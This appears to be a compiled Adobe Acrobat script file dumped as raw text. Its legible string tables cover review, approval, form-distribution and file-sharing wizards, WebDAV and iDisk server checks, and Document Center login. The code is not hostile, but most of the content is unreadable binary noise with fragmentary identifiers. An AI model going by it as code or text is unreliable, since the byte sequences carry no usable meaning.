�:QA55EQA555 +A55�!
�C�:QA5@6Q�א��ϐ����ܐ������ѐ�
��Ր�ѐ�����ѐ�N���ϐ���Ȑ�֐��x��ʐ��������{���ѐ�Ր�ѐ������ِ�͈storedestdatadestURLfixedDestURLfixURLmatchapp	beginPrivalertAnnotsString&IDS_SAVE_INACCESSIBLE_WARNING_BBREVIEWreplace
DebugThrowBBR loc upload location badendPrivdocsaveAsbCopy
fileSystemWebDAVcFScPathbPromptToOverwriteURLToDiPathCollab
lastBBRURLnumber%IDS_UPLOAD_FOR_BBR_FILE_UPLOAD_FAILED	uriEncodestringToUTF8	launchURLhiddencloseDoc����e^http[s]?\:\{location\}^http%url%���������M;dialogdlgStoredestpartialOKURLdtpvValbStoreOk���l
A55E(QA555EQA55 9A5C6Q;�
�Y;5]\�:QT�	
�:WQV5
WQA�
�V�:WQA55@SV6;5�
��A�
�V�:�:;5WQV5V#T�
�YV]\�:Q;�
�:Q;5=EXQ;5=EBQ;�
�;5�:D!Q;�
�;5�:WQ;�
�:QT�
�YA555 EQVE	QVCB]\�:Q���3����͐�琐�Ґ̐Ԑ����1��ΐ����ސ��ѐ���ѐ��А�אɐא�	datadoc	certifiedcertWarningPoppedappalertAnnotsString/IDS_BROWSER_REVIEW_UPLOAD_STEP_DOC_IS_CERTIFIEDcMsgstoredestURLPartialOkIDS_UPLOAD_FOR_BBR_DESTreplacefixURLIDS_UPLOAD_FOR_BBR_NO_DESTdtpvload	beginPrivCollabdefaultStoreNONEgetStoreNoSettingsgetStoreSettingsendPrivenablenext%url%�����R�6'dialogpathnormUrl*����l	;�
�:Q;�
�YC];5]A555	]
\�:WQ;�
�:QV�;�
�:Q;�
�V5�:WQ;�
�:QV�
�>���:=U;5=%=V�
���:WQ =V�
���:WQA5V6QT�
�YA55]\�:Q��ѐ���ѐ����ѐݐ�ѐ���� ����ې��ϐ��'app	beginPrivbrowseForDocbSave
fileSystemWebDAVcFSInitdatadocdocumentFileName
cFilenameInitendPrivCollab	uriEncodecURL	substringsmb:platformWINfile:///file:/destURLloaddest������dialog�@��l9��:Q��ψ CBAutoConfigCommentRepository����CBRunEmailReviewWizardz�A%data	startStepwizU�_�m
T=6QT;5=6Q9��Y;5]	;5
]ZY�];5
];5];5=;5;5]@]\`Y�];5];5];5]\`Y�];5];5];5]@]\`\]\�:WQ9��V�T���T�:��ΐ�ِ��Аϐϐ���ʐϐϐ��ː��ʐϐϐԐ��ʐϐϐϐژ�m8�ވ0
reviewTypeEBRreaderEnableapp
viewerTypeExchangeCBTrustPropagateWizAnnotsStringIDS_EMAIL_REVIEW_WIZ_FINISHfinishStringIDS_EMAIL_REVIEW_WIZ_TITLEtitlecreator-IDS_EMAIL_REVIEW_GETTING_STARTED_STEP_HEADINGheading+IDS_EMAIL_REVIEW_GETTING_STARTED_STEP_TITLEExchange-Pro.IDS_EMAIL_REVIEW_GETTING_STARTED_STEP_PRO_TEXT.IDS_EMAIL_REVIEW_GETTING_STARTED_STEP_STD_TEXTtexttip$IDS_EMAIL_REVIEW_INVITE_STEP_HEADING"IDS_EMAIL_REVIEW_INVITE_STEP_TITLE!IDS_EMAIL_REVIEW_INVITE_STEP_TEXT)IDS_EMAIL_REVIEW_SEND_INVITE_STEP_HEADING'IDS_EMAIL_REVIEW_SEND_INVITE_STEP_TITLE&IDS_EMAIL_REVIEW_SEND_INVITE_STEP_TEXTstepsCBRunSimpleWiz������data����"m9��=�C�:ˆ׈:%CBCreateGettingStartedStepDescriptionEBR�����7�	data]���)m9��=�B�;5=CB�C�:ˆ�ӈiCBCreateInviteStepDescriptionapp
viewerTypeExchange-Pro������data��3�/m9��;5�B�:ˆ܈t%CBCreateSendInvitationStepDescriptionAnnotsString1IDS_EMAIL_REVIEW_SEND_INVITE_STEP_MESSAGE_HEADING����CBRunEmailApprovalWizard�$[2@data	startStepbShowInitiatorEmailbShowReaderEnablebCanReaderEnablewiz����;mT;56QT5T;56QT;56QT=6Q�����E$QT5	EQT5	�
> B�����Q9��Y;5]
;5]ZY�];5];5];5�
��:;5;5]@]\`Y�];5];5];5];5]\`Y�];5];5 ];5!]@]\`\]"\�:WQ9#�#�V�T���T�:��Ӑ���ؐ�Ӑ�Θ�mEψ���ː�Аϐϐ���ʐϐϐ��ː��ʐϐϐϐԐ��ʐϐϐϐژ�me�ވ0
cannedSubjAnnotsString#IDS_INVITE_APPROVAL_DEFAULT_SUBJECTreaderEnable	cannedMsg&IDS_SEND_FOR_APPROVAL_MESG_CONTINUE_UB(IDS_SEND_FOR_APPROVAL_MESG_CONTINUE_NOUB
reviewTypeAPPraddrlengthCBTrustPropagateWizIDS_EMAIL_APPROVAL_WIZ_FINISHfinishStringIDS_EMAIL_APPROVAL_WIZ_TITLEtitlecreator/IDS_EMAIL_APPROVAL_GETTING_STARTED_STEP_HEADINGheading-IDS_EMAIL_APPROVAL_GETTING_STARTED_STEP_TITLEapp
viewerTypematch0IDS_EMAIL_APPROVAL_GETTING_STARTED_STEP_PRO_TEXT0IDS_EMAIL_APPROVAL_GETTING_STARTED_STEP_STD_TEXTtexttip&IDS_EMAIL_APPROVAL_INVITE_STEP_HEADING$IDS_EMAIL_APPROVAL_INVITE_STEP_TITLE#IDS_EMAIL_APPROVAL_INVITE_STEP_TEXT"IDS_EMAIL_APPROVAL_INVITE_STEP_TIP+IDS_EMAIL_APPROVAL_SEND_INVITE_STEP_HEADING)IDS_EMAIL_APPROVAL_SEND_INVITE_STEP_TITLE(IDS_EMAIL_APPROVAL_SEND_INVITE_STEP_TEXTstepsCBRunSimpleWiz������data����Nm9��=�C�:ˆ׈:%CBCreateGettingStartedStepDescriptionAPP�����;�dataI���Um9��;5�B����������������:ˆ����%CBCreateInviteStepDescriptionApprovalAnnotsString,IDS_EMAIL_APPROVAL_INVITE_STEP_CLUSTER_TITLE������data"���\m9��;5�B�:ˆ܈q%CBCreateSendInvitationStepDescriptionAnnotsString.IDS_EMAIL_APPROVAL_INVITE_STEP_MESSAGE_HEADINGExchange-Pro����CBRunBBRReviewWizard��H*data	startStependStepwiz����hm
T=6Q9��YT>;5;5];5]ZY�]	;5
];5];5
]@]\`Y�]	;5];5];5];5]\`Y�]	;5];5];5]\`Y�]	;5];5];5]@]\`\]\�:WQ9��V�T�T�T�:��ΐ��А�ϐ���ʐϐϐϐː��ʐϐϐϐԐ��ʐϐϐԐ��ʐϐϐϐژ�m��߈5
reviewTypeBBRCBTrustPropagateWizAnnotsStringIDS_NEXTIDS_BROWSER_REVIEW_WIZ_FINISHfinishStringIDS_BROWSER_REVIEW_WIZ_TITLEtitlecreator/IDS_BROWSER_REVIEW_GETTING_STARTED_STEP_HEADINGheading-IDS_BROWSER_REVIEW_GETTING_STARTED_STEP_TITLE,IDS_BROWSER_REVIEW_GETTING_STARTED_STEP_TEXTtexttip&IDS_BROWSER_REVIEW_UPLOAD_STEP_HEADING$IDS_BROWSER_REVIEW_UPLOAD_STEP_TITLE#IDS_BROWSER_REVIEW_UPLOAD_STEP_TEXT"IDS_BROWSER_REVIEW_UPLOAD_STEP_TIP&IDS_BROWSER_REVIEW_INVITE_STEP_HEADING$IDS_BROWSER_REVIEW_INVITE_STEP_TITLE#IDS_BROWSER_REVIEW_INVITE_STEP_TEXT+IDS_BROWSER_REVIEW_SEND_INVITE_STEP_HEADING)IDS_BROWSER_REVIEW_SEND_INVITE_STEP_TITLE(IDS_BROWSER_REVIEW_SEND_INVITE_STEP_TEXTstepsCBRunSimpleWiz������data>���sm9��=�B�:ˆ׈;%CBCreateGettingStartedStepDescriptionBBR������data����zm9��:ˆψ'CBCreateUploadStepDescription������data��8��m9��=�C�B�B�:ˆۈ=CBCreateInviteStepDescription������data!����m9��;5�C�:ˆ܈p%CBCreateSendInvitationStepDescriptionAnnotsString.IDS_BROWSER_REVIEW_INVITE_STEP_MESSAGE_HEADING������� 
reviewTypealwaysUseServerK�`��m;�
�:Q;�
�T�:WQ;�
�:QV;E:QV59��=;	�:EQ;5
 ;WQV��ѐؐ�ј�m�ϐ�^���
ɐ��app	beginPrivCollabgetAlwaysUseServerendPriv	undefinedUISharedString*IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAILWTisDocCtrInitAvailable����CBRunSharedReviewWizard��E�Pdata	startStepwizalwaysUseServeroldNameoldPathnewPath
startStepName��+��mT=6QT=6Qn=oQT=6Qn=oQT=6Qn=oQTB6QT5	(T=6
Qn
=o
Q#T=6
Qn
=o
QT;56
QT;56QTB6QTB6Q9��Y;5];5]�];]\�:WQNmT>$T5 D2QT5 D#QT55DQT5CBTC6Q9��V�T���T�:QT5 =!T5�T5CTC6QTB6QTB6"Q9#�#�=$T5�:Q�9%�%�T�:Q?UQ'�vWQ>UQTC6Q�$T?TC6Q9&�&�T5�:WQV;'T55(WQT55)WQV�*
�>�V�+
�=,�:?�:WQTV�.
��=/�:90�0�=1;�:6-QTVT5-62QTV63QTB64QT535590�0�=6;�:TC6QTB6Q=/WQT5�97�7�=8�:Q99�9�T�YC]:=;]<\�: (97�7�==�:Q=>WQ697�7�=?�:Q9@�@�T�:Q=AWQD9B�B�:B=CWQ!9@�@�T�:Q=AWQ9D�D�V�T5�:UQ9��V�T���T�:QT5 =!�T5�T5CTC6QTB6QTB6"Q9#�#�=$T5�:Q�9%�%�T�:Q?UQ'�vWQ>UQTC6Q��C������ΐ�ΐ�А�ΐ�А�ΐ�А�ʐ�#���ΐ�Ր����ΐ�А���Ӑ�Ӑ�ʐ�ʐ��Аϐϐʘ�m�Ӑ��(�Q�����m̐����
ψ����ʐ�ސ������������ϐ��ʐ�ʐ�ސ����Ӑ�	}��ʐ����ʀ{˘�m�
���
ʐ��ې������ѐѐ됈���Ր��̐�ʐ����	ϐ��	ʐ�ɐ������	Ր��
�#���
Ր��
ΐ����Ր��
Ӑ�
�n����
ΐ����
Ӑ�
ɐ���ߐ��ސ����������ϐ��ʐ�ʐ�ސ����Ӑ�	}��ʐ����ʀ{��mˈȘ�n>��
reviewTypeSharedReviewWT_SRDT_REVIEWST_YOU_MAYUseDocumentCenterreaderEnableUB_UB_NOUB
cannedSubjAnnotsString(IDS_SHARED_REVIEW_PREVIEW_INVITE_SUBJ_SR	cannedMsg/IDS_SHARED_REVIEW_PREVIEW_INVITE_ATTACHED_EMAILdocAlreadyOpeneddelayOpenDocCBTrustPropagateWiz
IDS_FINISHfinishStringIDS_SHARED_REVIEW_WIZ_TITLEtitle
stepFilterIWStepsstepsdocPathdocisInCollectionCBRunSimpleWizNewresultddoc	checkSizeDebugPrintlnDFile already opened, so use it for shared review :). data.docPath = IWBrowseDocStepCommitWorkgetAlwaysUseServerValue	undefineddocumentFileNamepath	substringlastIndexOf/
cDocumentNamereplaceSharedStringIDS_SHARED_REVIEW_FILE_EXT
cDocumentPathserveraddInternalServerUI*IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL
DebugAlerttstart shared review
skip browsdoc step
use dc
done dist server commit work
now checking if silent is possible or notSilentDocCenterLoginbShowProgressMonitor9urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.comcDriverSilent login: unsuccessfulIWSharedReviewDocCenterLoginSilent login : successful DistributionServerStepCommitWorkIWEmailStepDescriptionANValidateIdentityIWIdentityDialog
GetStepNum������datastepNum�����mT5=EQT���ۈ=distributionMethodMANUAL����e����e.pdf$JQT0����CBRunFormDistributionWizard��M�edata	startStepwizdocalwaysUseServeroldNameoldPathnewPath
startStepNameT��
AnT=6QT=6Qn=oQT=6Qn=oQT=6Qn=oQTB6QT=
6	Qn	=
o	QT;5
6QT;56QTB6QTB6Q9��Y;5];5]�];]\�:WQimT>�;�
�:Q;�
�:WQ;�
�:QVEQV5EQT5 C"TV56!QTV6"QT5! DQT5CBTC6Q9#�#�V�T���T�:QT5$=%T5!�T5CTC6QTB6QTB6&Q9'�'�=(T5!�:Q�9)�)�T�:Q?UQ@�vWQV=*���>UQTC6Q��T?�TC6Q9+�+�T5�:WQV;,�T5"5-WQT5"5WQV�.
�>�V�/
�=0�:?�:WQTV�2
��=
�:93�3�=4;�:=561QTVT5166QTV67QTB68QT575993�3�=:;�:TC6QTB6Q=
WQT5�9;�;�=<�:Q9=�=�T�YC]>=?]@\�: (9;�;�=A�:Q=BWQ69;�;�=C�:Q9D�D�T�:Q=EWQ�9F�F�:B=GWQ�T5759;5H&9D�D�T�:Q=IWQoT575993�3�=J;�:&9D�D�T�:Q=KWQ!9D�D�T�:Q=EWQ9L�L�V�T5�:UQ9#�#�V�T���T�:QT5$=%�T5!�T5CTC6QTB6QTB6&Q9'�'�=(T5!�:Q�9)�)�T�:Q?UQ@�vWQV=*���>UQTC6Q��C�������ΐ�ΐ�А�ΐ�А�ΐ�А�ʐ���ΐ�А��Ӑ�Ӑ�ʐ�ʐ��Аϐϐʘ�n^Ә�nb(�l�����nc������ѐԐ�ѐ�����ѐ�̐��
����ʐ�ސ������������ϐ��ʐ�ʐ�ސ����Ӑ�	}��ʐ�����zɐ����
��
ʀ{˘�n�
���
ʐ��ې������ѐѐ됈���Ր��̐�ʐ����	ϐ��	ʐ�ɐ������	Ր��
�#���
Ր��
ΐ����
Ր��
Ӑ�
�n������
ΐ�!���Ӑ�ΐ��!���Ӑ�ΐ����
Ӑ�
ɐ���ߐ��ސ����������ϐ��ʐ�ʐ�ސ����Ӑ�	}��ʐ�����zɐ����
��
ʀ{��nb�Ș�n���
reviewTypeFormDistributionWT_FDDT_FORMSST_HOST_FORMSUseDocumentCenterUB
cannedSubjAnnotsString(IDS_SHARED_REVIEW_PREVIEW_INVITE_SUBJ_FD	cannedMsg,IDS_SHARED_REVIEW_PREVIEW_INVITE_DC_EMAIL_FDdocAlreadyOpeneddelayOpenDocCBTrustPropagateWiz
IDS_FINISHfinishStringIDS_SHARED_REVIEW_WIZ_TITLEtitle
stepFilter	IWFDStepsstepsapp	beginPrivCollabGetActiveDocIWendPrivpath
selectFiledocPathdocCBRunSimpleWizNewresultddoc	checkSizeDebugPrintlnDFile already opened, so use it for shared review :). data.docPath = IWBrowseDocStepCommitWorkhaltgetAlwaysUseServerValue	undefineddocumentFileName	substringlastIndexOf/
cDocumentNamereplaceSharedStringIDS_SHARED_REVIEW_FILE_EXT.pdf
cDocumentPathserveraddInternalServerUI*IDS_SHARED_REVIEW_SERVER_DOC_CENTER_DETAIL
DebugAlerttstart shared review
skip browsdoc step
use dc
done dist server commit work
now checking if silent is possible or notSilentDocCenterLoginbShowProgressMonitor2urn://ns.adobe.com/Collaboration/Forms/Acrobat.comcDriverSilent login: unsuccessfulIWSharedReviewDocCenterLoginSilent login : successful DistributionServerStepCommitWorkIWEmailStepDescriptionANValidateIdentityIWIdentityDialog'IDS_SHARED_REVIEW_DISTRIBUTE_STEP_EMAILIWDistributeStepDescription5IDS_SHARED_REVIEW_DISTRIBUTE_STEP_ADD_INTERNAL_SERVERIWNewInternalServer
GetStepNum������datastepNum�@�ZnT5=EQT���ۈ=distributionMethodMANUAL����e����e.pdf$l&W����CBRunShareFileWizardg�Ndata	startStepstartwiz
G
�n	T=6QTC6QT=6QT5>(T=6Qn=oQ#T=6Qn=oQTWQ9	�	�Y;
5]=
]T5>;
;]\�:WQ9��T�YC]=]\�: +9��=�T5�:WQ&9��=�T5�:WQ9��V�V���T�:��ΐ�ʐ�ΐ��#���ΐ�Ր����ΐ�А����Аϐʐ�
␐���&��搐�ᐐ�ވ/
reviewType	ShareFileUseDocumentCenterdistributionMethodUPLOADtypeWT_SF_UFCBTrustPropagateWizAnnotsString
IDS_FINISHfinishString
Share FiletitleShareFileStepsUploadFileStepsstepsSilentDocCenterLoginbShowProgressMonitor8urn://ns.adobe.com/Collaboration/FileSharing/Acrobat.comcDriver
GetStepNumIWSharedReviewDocCenterLoginIWBrowseAnyDocCBRunSimpleWizNew����CBEncodeURL��!urlbEnsureTrailingSlash
crackedURL	pathIndex�

"o	T�>�;�
�T�:WQT�
�V5�:WQV>gT�
�>�V�:9��V5�:UQTEQT�
���:=T=UQT����ؐې
���
�����p��o0��lengthutilcrackURLlastIndexOfcPathsubstrescape/������	cWorkflow�
2
5oT=DQT=��وFSharedReviewFormDistribution������V
s
:oC���������

Eoˆ"������9
=
Foˆ ������resource\
i
Goˆ(������resource�
�
Hoˆ.������code�
	
KoA5�
�:Q��҈cxt
handleSuccess������code$
U
PoA5�
�:Q��҈cxt
handleSuccess������en
�
UoA5�
�T�:Q��ֈcxt
handleFailure�����-�cxttaskDatacURL�
�
^oTT6QT55WQT�
�:Q����̐�ѐ�ψcxtdatacSetting
handleSuccess������cxttaskData�
K
hoT�
�;5�:Q��ڈ)
setTaskStatusAnnotsStringIDS_DONE������cxttaskDatah
z
moˆ)�����e�!reviewIDconfigi�
�
soA5T6QTK"mMWQA55VTV78Q�L����NA5T6Q9��A5�:��oy�Ϙ�o}5%ː�����ϐ�ֈ*oTaskSetdatareviewIDANTrustPropagateAll%������6
|
�o;5��ˈ2AnnotsStringIDS_SHARED_REVIEW_WEBDAV_NAME�������
�
�o;5��ˈ:AnnotsString%IDS_SHARED_REVIEW_WEBDAV_DEFAULT_NAME������ 
b 
�o;5��ˈ8AnnotsString#IDS_SHARED_REVIEW_WEBDAV_ADD_SERVER������� 
� 
�o;5��ˈ9AnnotsString$IDS_SHARED_REVIEW_WEBDAV_DESCRIPTION������	cWorkflow� 
5!
�oT=��ʈ#SharedReview�����9�@�+result`!
=
�oYY=]B]\]@]@]@]Y\]�]�]	�]
�]�]�]
Z=`=`=`\]>]@]@]B]B]�]�]�]�	]�
]�]�]�
]�]ZY= ]!ZY= ]!="]#ZY=$]!;%5&]'C](;)5*]+\`Y= ]!=,]-="]#ZY=$]!;%5.]'\`Y=/]!="]#=0]1\`\]2\`Y= ]!=,]-="]#ZY=3]!;%54]'=]1\`Y=$]!="]#=5]1\`\]2\`\�6
�;758=9<ZY=:]!;%5;]'=<]1\`\
Z\�:�6
�9=�=�;%5>�;)5*�:�:]2\`\]2\`\]?\WQV�����ʐ̐�����ː�ʐ�ʘ�o�ʘ�o�ʘ�o�ʘ�o�ʘ�o�吖�����ʘ�pʘ�p-ʘ�p5ʘ�pFʘ�pMʘ�p`ʘ�pfʐʐ����ʐ���ʐʐ���ʐϐ�Ԑ��ʐʐʐ���ʐԐ��ʐʐژ�p��ʐʐʐ���ʐϐϐ��ʐʐ㘀p��7ɐ�ʐϐՐ��ژ�p���cSetting#bUseWindowsIntegratedAuthenticationoConfigoDialog
cVerifyURLcVerifiedURLoAuth
getSetting
initialize	setStatussetURLcommitidle	writeable
enumerable
removeableaStatesnStatecFileURLoFileURL
bFoundFile	bDoCommitvrfyverifyNextStateonErroronVerifySuccessonVerifyFailureonEnumerateFileonEnumerateEnd	onPutFileonDeleteFileviewtype
align_fill	alignmentstatic_textAnnotsString$IDS_SHARED_REVIEW_WEBDAV_INSTRUCTIONname	wrap_nameCollabwizardWidthwidth	align_rowalign_childrenIDS_SHARED_REVIEW_ENTER_URL	edit_textsurlitem_idelementsbutton!IDS_SHARED_REVIEW_VALIDATE_BUTTONtaskconcatappplatformWIN	check_boxIDS_USE_NTLM_AUTHENTICATIONntlmANCreateTipElementsIDS_SHARED_REVIEW_WEBDAV_TIPdescription�������"
�"
�oA5ˆ�oConfig�������&dialognext�"
�$
�oAT6QA55�A�
�T�A555�:QT�
�YA555]A555]	\�:QAA555
6
QA�
�;5
�:QT�
�=�:Q��ʐ�~���	␈	���	ܐ����	ؐ���ՈoDialogdataoSavedWebDavStatesetURLcURLloadcStatustask#bUseWindowsIntegratedAuthenticationntlmcVerifiedURL	setStatusAnnotsString(IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWNfocussurl�����]�ttask�$
�%
�o	;5WQA5�
�YV�
��T�:]\�:QA5�
�=�:Q�ΐ����؈AnnotsString!IDS_SHARED_REVIEW_STATUS_TEMPLATEoDialogloadreplacetaskresize	{cStatus}������dialogurl�%
&
�oT�
�YT]\�:Q��ވloadsurl�������5dialognextpropsurl&
�(
�oT�
�:WQTlV5WQVA5=AC6QAV6QA�
�T�:Q9��=�:QA5V6	Q<A5
YV5]A5]V5
]\6Q�Ґg��̐����Ȑ�ʐ�ѐ�Ր���Ԑ����	��͐ːԐ��storesurlcVerifiedURL	bDoCommit
cVerifyURLvrfy
DebugThrowURL requires verificationoConfigcSettingdataoSavedWebDavStatecURLtaskcStatus�����X�dialogurlbEnabled�(
^)
�oT�
�:5WQV�
��:@WQT�
�YV]V]\�:Q�אڐ��0storesurlmatchenablenextvrfy^http[s]?\:\/\/.+\/�����|�I*dialogpropsurl*
k-
�o	T�
�:WQT�
�:5WQV�>.A>6QV�
���:= A�
�T�V=�:QAT�
�:56QAA5	5
5YC]\Y\6Q;
�
�:QA;�
�A5=�:6Q;
�
�:QA;�
�A5�:6QAB6QA5�
�YB]\�:QA�
�:Q9��;5�:Q�Ґא��)���Ȑ����ې�ڐ��␈ѐ�䐈ѐ�ސ�Ȑ�ߐ��Ґ���ڈ@storesurllengthnStatesubstr/setURL
cVerifyURLoAuthdataoSavedWebDavState#bUseWindowsIntegratedAuthenticationUsePlatformAuthapp	beginPrivcFileURLCollab	uriEncode)com.adobe.acrobat.webdav.writeability.txtendPrivoFileURLutilcrackURL
bFoundFileoDialogenablevrfyverifyNextStateonVerifyFailureAnnotsString!IDS_SHARED_REVIEW_NETWORK_INVALID�����+�N#statetaskdata�-
�0
pA5A57WQ=WQVx=y=yp=y�z�;�
�=�:WQ;	5
5�
�A5
�V�A�A5�:Q;5WQ�;	5
5�
�A5
�A�A5�:Q;5WQC;	5
5�
�A5
�A�A5�:Q;5WQA�
�V�:Q�ѐɐ�c����m
��pm
��p$mʘ�p�ڐ�ΐP����됈ΐP����됈ΐP����шaStatesnState	writeable
enumerable
removeableSOAPstreamFromStringTesting WriteablilityNetHTTPWebDAVPutFilecFileURLoAuthAnnotsString%IDS_SHARED_REVIEW_NETWORK_CHECK_WRITEEnumerateCollection$IDS_SHARED_REVIEW_NETWORK_CHECK_READ
DeleteFile&IDS_SHARED_REVIEW_NETWORK_CHECK_DELETE	setStatus�����q�	e�0
�1
-p;�
�:Q;�
�;5�:Q;�
�:QA�
�T5T5;5�:Q��ѐ�ܐ�ѐ��
�^app	beginPrivalertAnnotsString&IDS_SHARED_REVIEW_NETWORK_FAILED_ALERTendPrivonVerifyFailuretext(IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWN�������,�1
H3
5pA5#?�
6QQA5A5��AA56QA�
�;5�:QA5�	
�YC]
\�:QA53A�
�A5�C�:QA5�
�=�:QA�
�:Q��Ր������͐�ؐ�ߐ���֐�ݐ���
͈nStateaStateslengthcVerifiedURL
cVerifyURL	setStatusAnnotsString"IDS_SHARED_REVIEW_NETWORK_VERIFIEDoDialogenablevrfy	bDoCommitcommitendfnshverifyNextState�����9�msgj3
�3
FpA�
�T�:QA5�
�YC]\�:QAB6Q��ѐ�ߐ�Ȉ	setStatusoDialogenablevrfy	bDoCommit�������
 resourcestateoURL4
�5
MpA5A57WQV=E
QA5 p�;�
�T5�:WQAV5A55EQV5	A55	6Q�vWQ��ѐψ!����ݐ�ې�x��ʐ�{����aStatesnState
enumerable
bFoundFileutilcrackURLurlcHostoFileURLcPath����e-W�����+�resource�5
96
`pA5A�
�:QA�
�:Q��Ґ�
͈
bFoundFileonVerifySuccessonVerifyFailure������statusU6
y6
fpA�
�:Qˆ"͈onVerifySuccess������status�6
�6
gpA�
�:Qˆ%͈onVerifySuccess�����*�		cReviewIDconfigencURL3=
�=
�pT59��T�:=WQV�合�cSettingencodeURIComponent/������N>
R>
�pˆ"������r>
v>
�pˆ ������resource�>
�>
�pˆ(������resource�>
�>
�pˆ.������code?
B?
�pA5�
�:Q��҈cxt
handleSuccess������code]?
�?
�pA5�
�:Q��҈cxt
handleSuccess������e�?
�?
�pA5�
�T�:Q��ֈcxt
handleFailure�������-cxttaskDatacURL/@
�A
�pTT6QT�
�;5T5555�:QT55WQVT5WQV=	WQ;
�
�:Q;�
�V�:WQ;
�
�:Q;55�
�V�T�Y\�:Q��̐���ѐ��p���p���ѐ�ؐ�ѐ���
�5cxt
setTaskStatusAnnotsString)IDS_SHARED_REVIEW_CREATE_REVIEW_DIRECTORYdataserverSettingscSettingreviewID/app	beginPrivCollab	uriEncodeendPrivNetHTTPWebDAVCreateCollection������cxttaskData
B
B
�pˆ)������cxttaskData:B
LB
�pˆ)�����3�="cxttaskDatacURL�B
�E
�pTT6QT55WQV�
�>���:=EQV�
�>��#�:=�T�
�;5T55	5
5�:QT55WQVT5WQV=WQ;
�
�:Q;�
�V�:WQ;
�
�:Q;55�
�V�T�Y\�:QT�
�:Q��̐�ѐߐ��ɕ��
�ѐ�
�p��
�p���
ѐ�
ؐ�
ѐ��
��ψcxtdatacSettingsubstrhttps://api.share.adobe.com/#http://api-dcdevlab.corp.adobe.com/
setTaskStatusAnnotsString)IDS_SHARED_REVIEW_CREATE_REVIEW_DIRECTORYserverSettingsreviewID
/attachments/app	beginPrivCollab	uriEncodeendPrivNetHTTPWebDAVCreateCollection
handleSuccess������cxttaskData�E
F
qT�
�;5�:Q��ڈ)
setTaskStatusAnnotsStringIDS_DONE������cxttaskDataF
/F
qˆ)�����e�!reviewIDconfigi{F
�H

qA5T6QTK"mMWQA55VTV78Q�L����NA5T6Q9��A5�:��q�Ϙ�q5%ː�����ϐ�ֈ*oTaskSetdatareviewIDANTrustPropagateAll%�������H
:I
#q;5��ˈ1AnnotsStringIDS_SHARED_REVIEW_IDISK_NAME������aI
�I
(q;5��ˈ9AnnotsString$IDS_SHARED_REVIEW_IDISK_DEFAULT_NAME�������I
J
-q;5��ˈ7AnnotsString"IDS_SHARED_REVIEW_IDISK_ADD_SERVER������EJ
�J
2q;5��ˈ8AnnotsString#IDS_SHARED_REVIEW_IDISK_DESCRIPTION������	cWorkflow�J
�J
7qT=��ʈ#SharedReview�������@�,resultK
�h
<qY=]Y=]B]\]@]@]@]@]	�]
�]�]�]
�]�]Z=`=`=`\]>]@]@]B]B]�]�]�]�	]�
]�]�]�
] �]!ZY="]#ZY="]#=$]%ZY="]#=&]'=$]%ZY=(]#;)5*]+\`Y=,]#=$]%=-].\`\]/\`Y="]#=&]'=$]%ZY=(]#;)50]+\`Y=,]#=$]%=1].\`\]/\`Y=(]#;)52]+C]3;455]6=7].\`Y=(]#;)58]+C]3;455]6\`Y="]#=&]'=$]%ZY=9]#;)5:]+=].\`Y=(]#=$]%=;].\`\]/\`\�<
�9=�=�;)5>�;455�:�:]/\`\]/\`\]?\WQV���ʐ��ʐ̐�������ʐ�ʘ�qaʘ�qhʘ�q�ʘ�q�ʘ�q�吖�����ʘ�q�ʘ�q�ʘ�q�ʘ�q�ʘ�q�ʘ�q�ʘ�rʐʐ����ʐ���ʐʐ���ʐʐʐ���ʐԐ��ʐʐژ�r!�ʐʐʐ���ʐԐ��ʐʐژ�r2�ʐϐ�ϐϐ��ʐϐ�Ԑ��ʐʐʐ���ʐϐϐ��ʐʐ㘀rQ�ɘ�rX��https://idisk.mac.com/cBaseURLcSetting#bUseWindowsIntegratedAuthenticationoConfigoDialog
cVerifyURLcVerifiedURLcCurrentURL
getSetting
initialize	setStatuscommit
getCurrentURLidle	writeable
enumerable
removeableaStatesnStatecFileURLoFileURL
bFoundFile	bDoCommitvrfyverifyNextStateonErroronVerifySuccessonVerifyFailureonEnumerateFileonEnumerateEnd	onPutFileonDeleteFileviewtype
align_fill	alignment	align_rowalign_childrenstatic_textAnnotsStringIDS_SHARED_REVIEW_IDISK_ACCOUNTname	edit_textacctitem_idelements!IDS_SHARED_REVIEW_IDISK_DIRECTORYfldrIDS_SHARED_REVIEW_IDISK_URL	wrap_nameCollabwizardWidthwidthiurl#IDS_SHARED_REVIEW_IDISK_INSTRUCTIONbutton!IDS_SHARED_REVIEW_VALIDATE_BUTTONtaskconcatANCreateTipElementsIDS_SHARED_REVIEW_IDISK_TIP_4description�������L
�L
LqA5ˆ�oConfig�������+dialognext�L
�N
NqAT6QT�
�Y=]\�:QAA�
�T�:6QA55WT�
�YA555]	A5
]\�:QAA5556QA�
�;5�:QT�
�=�:Q��ʐ���א�R���	���	ܐ����	ؐ���ՈoDialogloadPublicfldrcCurrentURL
getCurrentURLdataoSavedWebDavStatecStatustask
currentURLiurlcVerifiedURL	setStatusAnnotsString(IDS_SHARED_REVIEW_NETWORK_ACCESS_UNKNOWNfocusacct�����]�ttaskO
�O
aq	;5WQA5�
�YV�
��T�:]\�:QA5�
�=�:Q�ΐ����؈AnnotsString!IDS_SHARED_REVIEW_STATUS_TEMPLATEoDialogloadreplacetaskresize	{cStatus}�������7dialognexturl�O
nR
hqTtA�
�T�:WQVA5=AC6QAV6QA�
�T�:Q9��=�:QA5V6QvA5	Y\6
QA5	5
T�
�:5
6QA5	5
A56QA5	5
T�
�:56Q�o��Ԑ����Ȑ�ʐ�ѐ�Ր���Ԑ����	Ґ�	䐈	א�	�=
getCurrentURLcVerifiedURL	bDoCommit
cVerifyURLvrfy
DebugThrowURL requires verificationoConfigcSettingdataoSavedWebDavStatecURLstoresurlcStatustask�����r�
dialogpropsresult�R
aS
�q	T�
�:WQ;�
�:Q;�
�A5V5=V5=�:WQ;�	
�:QV�Ґ�ѐ���ѐ��storeapp	beginPrivCollab	uriEncodecBaseURLacct/fldrendPriv�������dialogurlbEnabledxS
�T
�qA�
�T�:WQV�
��:@WQT�
�YV]V]\�:QVA5-T�
�YV]\�:QAV6Q�Ԑڐ������ސ�ʈ
getCurrentURLmatchenablenextvrfycCurrentURLloadiurl^http[s]?\:\/\/.+\/�������-dialogprops]U
[W
�qT�
�:WQA>6QAA�
�T�:6Q;�
�:QA;�
�A5=	�:6Q;�

�:QA;�
�A5�:6QAB6QA5�
